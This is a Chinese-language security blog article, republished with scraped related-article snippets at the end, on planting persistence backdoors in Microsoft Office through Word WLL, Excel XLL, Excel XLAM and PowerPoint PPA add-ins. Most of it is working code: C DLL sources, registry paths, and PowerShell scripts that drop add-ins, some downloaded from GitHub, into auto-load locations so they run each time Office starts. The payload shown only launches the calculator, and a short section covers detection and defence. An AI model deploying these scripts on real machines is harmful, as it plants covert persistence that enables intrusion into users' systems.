Office后门的实现思路

本文讲的是Office后门的实现思路


0x00 前言

对于Windows平台,Microsoft Office的普及率很高。站在攻击者的角度,通常会选择在Office软件中植入后门。

我在一篇博客上看到了Office后门的多种利用方法,我对其进行了研究测试,挑选其中较为通用、隐蔽的方式,编写POC脚本实现自动利用。

0x01 简介

本文将要介绍以下内容:

· 针对Word、Excel、PowerPoint的四种后门利用方法

· 编写Powershell脚本实现自动利用

· 比较优缺点,分析防御方法

0x02 Word WLL

1、手动测试

开发工具:VC6.0

新建dll工程,代码如下:

BOOL APIENTRY DllMain( HANDLE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {        case DLL_PROCESS_ATTACH:            MessageBox(NULL,"hello world,I'm 3kb","title",MB_OK);        case DLL_THREAD_ATTACH:        case DLL_THREAD_DETACH:        case DLL_PROCESS_DETACH:            break;    }return TRUE;}

编译成msg.dll,作如下设置减小编译文件体积:

· Build:release

· 添加代码:#pragma comment(linker, “/OPT:nowin98 “)

· 工程设置->Win32 Release->C/C++->Code Generation->Use run-time library:->Multithreaded DLL

经过优化,dll大小为3kb

重命名为msg.wll,保存路径如下:

C:UsersaAppDataRoamingMicrosoftWordStartup

启动Word.exe,弹框,界面卡住,Word无法正常执行;关闭弹出的对话框后,Word正常启动

如下图

注:

通过Metasploit的msfvenom生成的dll,会导致Word程序崩溃

修改c代码,实现启动计算器,代码如下:

BOOL APIENTRY DllMain( HANDLE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {        case DLL_PROCESS_ATTACH:            WinExec("calc.exe",SW_SHOWNORMAL);        case DLL_THREAD_ATTACH:        case DLL_THREAD_DETACH:        case DLL_PROCESS_DETACH:            break;    }return TRUE;}

编译成calc.dll,优化后大小为3kb

重命名为calc.wll,保存在路径C:UsersaAppDataRoamingMicrosoftWordStartup

启动Word.exe,弹出计算器,并且word正常启动

如下图

注:

Startup路径可保存多个wll,支持启动多个wll

2、编写Powershell脚本实现

wll路径对应的powershell代码如下:

$env:APPDATA+"MicrosoftWordStartupcalc.wll"

将编译好的3kb大小的calc.dll作base64加密并存储于变量中:

$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcdllbase64.txt")

用变量$fileContent存储base64加密的calc.dll

base64解密并释放calc.wll至Startup路径的代码见github

代码运行后,在C:UsersaAppDataRoamingMicrosoftWordStartup生成calc.wll,启动word.exe时,弹出计算器

0x03 Excel XLL

1、手动测试

新建dll工程,添加导出函数xlAutoOpen,具体代码如下:

void xlAutoOpen(){    WinExec("calc.exe",SW_SHOWNORMAL);}BOOL APIENTRY DllMain( HANDLE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {        case DLL_PROCESS_ATTACH:        case DLL_THREAD_ATTACH:        case DLL_THREAD_DETACH:        case DLL_PROCESS_DETACH:            break;    }    return TRUE;}

添加文件,设置类型:Text File

名称:工程同名文件.def

写入:

EXPORTSxlAutoOpen

编译成calc2.dll,导出函数为xlAutoOpen(),优化后大小为3kb

重命名为calc.xll,保存路径如下:

%appdata%MicrosoftAddIns

查找注册表键值:

Office2010对应的键值为:

HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0ExcelOptions

Office2013对应的键值为:

HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0ExcelOptions

新建字符串值: OPEN: /R calc.xll

启动Excel.exe,弹出计算器,并且Excel正常启动

2、编写Powershell脚本实现

同上,calc2.dll作base64加密并存储于变量中:

$fileContent = [System.IO.File]::ReadAllBytes('calc.xll')$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcxllbase64.txt")

用变量$fileContent存储base64加密的calc.xll

通过powershell判断office版本:

dir -name "C:Program FilesMicrosoft OfficeOffice*"

回显: Office14

对字符串截取,截取出版本号14,代码如下:

$OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*"$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )

加入异常捕获,如果系统未安装Office,返回提示信息:

Try  {      $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop      $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) }  Catch  {      Write-Host "[!] I can't find Microsoft Office!"     Write-Host "[+] Please reinput a correct path."  }  Write-Host "Microsoft Office Version:" $Ver

拼接不同Office版本对应的注册表路径:

$ExcelRegPath="HKCU:SoftwareMicrosoftOffice"+$Ver+".0Excel"

新建键:Options

New-Item -type Directory $ExcelRegPath"Options" | Out-Null

新建字符串值: OPEN: /R calc.xll :

New-ItemProperty $ExcelRegPath"Options" OPEN -value "/R calc.xll" -propertyType string | Out-Null

完整代码见github

0x04 Excel VBA add-ins

1、手动测试

启动Excel,开启开发工具选项,选择Visual Basic

插入模块,写入以下代码:

Sub Auto_Open()    Set objShell = CreateObject("Wscript.Shell")    objShell.Exec ("calc.exe")End Sub

保存为calc.xlam,路径为:

%appdata%MicrosoftExcelXLSTART

启动Excel.exe,弹出计算器,并且Excel正常启动

2、编写Powershell脚本实现

保存路径为:

%appdata%MicrosoftExcelXLSTARTcalc.xlam

对应powershell代码如下:

$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.xlam",$env:APPDATA+"MicrosoftExcelXLSTARTcalc.xlam")

0x05 PowerPoint VBA add-ins

1、手动测试

启动PowerPoint,开启开发工具选项,选择Visual Basic

插入模块,写入以下代码:

Sub Auto_Open()    Set objShell = CreateObject("Wscript.Shell")    objShell.Exec ("calc.exe")End Sub

保存为calc.ppa,路径为:

%appdata%MicrosoftAddIns

查找注册表键值:

Office2010对应的键值为:

HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0PowerPoint

Office2013对应的键值为:

HKEY_CURRENT_USERSoftwareMicrosoftOffice15.0PowerPoint

新建项AddIns,新建子项calc(对应calc.ppa)

新建DWORD值: Autoload: 1

新建字符串值: Path: calc.ppa

启动PowerPoint.exe,弹出计算器,并且PowerPoint正常启动

2、编写Powershell脚本实现

保存路径为:

%appdata%MicrosoftAddInscalc.ppa

对应powershell代码如下:

$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.ppa",$env:APPDATA+"MicrosoftAddInscalc.ppa")

注册表路径:HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0PowerPoint

Try  {      $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop      $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )     }  Catch  {      Write-Host "[!] I can't find Microsoft Office!"     Write-Host "[+] Please reinput a correct path."     return }  Write-Host "Microsoft Office Version:" $Ver$ExcelRegPath="HKCU:SoftwareMicrosoftOffice"+$Ver+".0PowerPoint"

新建键AddIns:

New-Item -type Directory $ExcelRegPath"AddIns" | Out-Null

新建键calc:

New-Item -type Directory $ExcelRegPath"AddInscalc" | Out-Null

新建DWORD值: Autoload: 1

New-ItemProperty $ExcelRegPath"AddInscalc" Autoload -value "1" -propertyType DWORD | Out-Null

新建字符串值: Path: calc.ppa

New-ItemProperty $ExcelRegPath"AddInscalc" Path -value "calc.ppa" -propertyType string | Out-Null

完整代码如下:

$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.ppa",$env:APPDATA+"MicrosoftAddInscalc.ppa")Try  {      $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop      $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )     }  Catch  {      Write-Host "[!] I can't find Microsoft Office!"     Write-Host "[+] Please reinput a correct path."     return }  Write-Host "Microsoft Office Version:" $Ver$ExcelRegPath="HKCU:SoftwareMicrosoftOffice"+$Ver+".0PowerPoint"New-Item -type Directory $ExcelRegPath"AddIns" | Out-NullNew-Item -type Directory $ExcelRegPath"AddInscalc" | Out-NullNew-ItemProperty $ExcelRegPath"AddInscalc" Autoload -value "1" -propertyType DWORD | Out-NullNew-ItemProperty $ExcelRegPath"AddInscalc" Path -value "calc.ppa" -propertyType string | Out-Null

注:

以上四种方法的利用脚本我已经整合并上传至github,地址为:

https://github.com/3gstudent/Office-Persistence

0x06 检测和防御

1、Word

禁用所有加载项,如下图

禁用所有控件,如下图

禁用所有宏,如下图

Word WLL依然能够执行

防御方法:

删除信任位置:

C:UsersaAppDataRoamingMicrosoftWordStartup

如下图

注:

添加时不能使用环境变量%appdata%

2、Excel

Excel XLL和Excel VBA add-ins:

防御方法:

禁用所有加载项

3、PowerPoint

PowerPoint VBA add-ins:

防御方法:

禁用所有加载项

0x07 小结

本文介绍了x86系统下Word、Excel、PowerPoint中常用的四种后门利用方式,开源POC脚本以便于测试,最后站在防御角度,介绍了具体的防御方法。x64系统的利用方法作适当修改就好。

原文发布时间为:2017年7月21日

本文作者:3gstudent

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-08-31 12:56:41

Office后门的实现思路的相关文章

64位系统下的Office后门利用

本文讲的是64位系统下的Office后门利用, 0x00 前言 在之前的文章<Office后门的实现思路>介绍了在Office软件中植入后门的常用方法,但并不全面,缺少64位系统的测试.而对于64位操作系统,支持32位和64位两个版本的office软件,不同office版本的利用方法是否不同呢?本文将要给出答案. 0x01 简介 本文将要介绍如下内容: · 64位系统安装64位Office软件的利用方法 · 64位系统安装32位Office软件的利用方法 · 根据测试结果优化POC 0x02

AppDomainManager后门的实现思路

本文讲的是AppDomainManager后门的实现思路, 0x00 前言 从Casey Smith@subTee学到的一个技巧:针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程.  如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制. 0x01 简介 本文将要介绍以下内容: 劫持自己开发的.Net程序 劫持系统.Net程序powershell_ise.exe 一种针对Visual

COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator

本文讲的是COM Object hijacking后门的实现思路--劫持CAccPropServicesClass和MMDeviceEnumerator,在之前的文章<Use CLR to maintain persistence>介绍了通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门.美中不足的是通过WMI添加环境变量需要重启系统.  本文将继续介绍另一种后门的利用方法,原理类似,但优点是不需要重启系统,同样也不需要管理员权限. 注: 本文介绍的方法曾被木马COMpfun使用

COM Object hijacking后门的实现思路——劫持explorer.exe

本文讲的是COM Object hijacking后门的实现思路--劫持explorer.exe,在之前的文章介绍了两种利用COM对象劫持实现的后门,利用思路有一些区别: 第一种,通过CLR劫持.Net程序 正常CLR的用法: 设置注册表键值HKEY_CURRENT_USERSoftwareClassesCLSID cmd下输入: SET COR_ENABLE_PROFILING=1 SET COR_PROFILER={11111111-1111-1111-1111-111111111111}

Waitfor.exe后门的实现思路

本文讲的是Waitfor.exe后门的实现思路, 0x00 前言 从Casey Smith‏@subTee的Twitter上获得的一个思路,利用Waitfor.exe有可能实现一种后门机制.  于是我对其做了进一步研究,并且使用Powershell写了一个后门利用的POC.  本文将要介绍Waitfor.exe在渗透测试中的利用技巧,并且分享开发POC的思路和细节. 完整POC下载地址如下: https://github.com/3gstudent/Waitfor-Persistence 0x0

从“以人为本”的角度审视HR与ERP集成的意义

追述ERP在企业管理中的发展进程,始终是以生产制造及供销过程为中心的,即企业资源中物流.资金流及二者表现成的信息流而构成的供应链.价值链.而作为企业资源之本的人力资源,长期以来一直作为一个孤立的系统独立于企业核心管理系统之外. 但当今企业的生存.竞争和成长已经进入人才争夺为核心的时代,企业对于人力资源的重视程度也快速提高,使得人力资源管理信息化领域成为了一个非常有潜力的市场:一方面商用人力资源( HR:Human resource)软件的不断涌现,另一方面企业考虑其信息化解决方案时不再仅仅限于狭

Evernote若倒下,OneNote能否站起来?

Evernote最近公布了一项备受争议的决定:上调订阅费用,同时限制免费用户使用设备数量.于是乎,外界又开始议论纷纷了,如果Evernote倒下OneNote能否站起来? Evernote还有救吗? Evernote近年的境况似乎不太乐观,并试图重新找回自己的方向,包括更换CEO.裁员以及逐步撤下一些边缘服务(甚至还有Evernote Market).但这似乎没有终止外界的批评声.一方面,Evernote在付费服务上的步步紧逼确实让不少用户感到不满,另一方面,用户仍然没有看到Evernote作出

Logon Scripts的后门实现思路

本文讲的是Logon Scripts的后门实现思路,依旧是对后门利用方法做介绍,本次介绍的是使用Logon Scripts的方法.然而我在研究过程中发现了一个特别的用法,脚本优先于杀毒软件执行,能够绕过杀毒软件对敏感操作的拦截,本文将要具体介绍这个技巧. 0x01 简介 · Logon Scripts用法 · 绕过360对wmi调用的拦截 · 特别用法 0x02 Logon Scripts用法 思路来自于Adam@Hexacorn,地址如下: http://www.hexacorn.com/bl

OFFICE编程思路(VBA)

编程 下面是vb打开文件的代码: If Dir("D:\excel.bz") = "" Then '判断EXCEL是否打开 Set xlApp = CreateObject("Excel.Application") '创建EXCEL应用类 xlApp.Visible = True '设置EXCEL可见 Set xlBook = xlApp.Workbooks.Open("D:\test.xls") '打开EXCEL工作簿 Se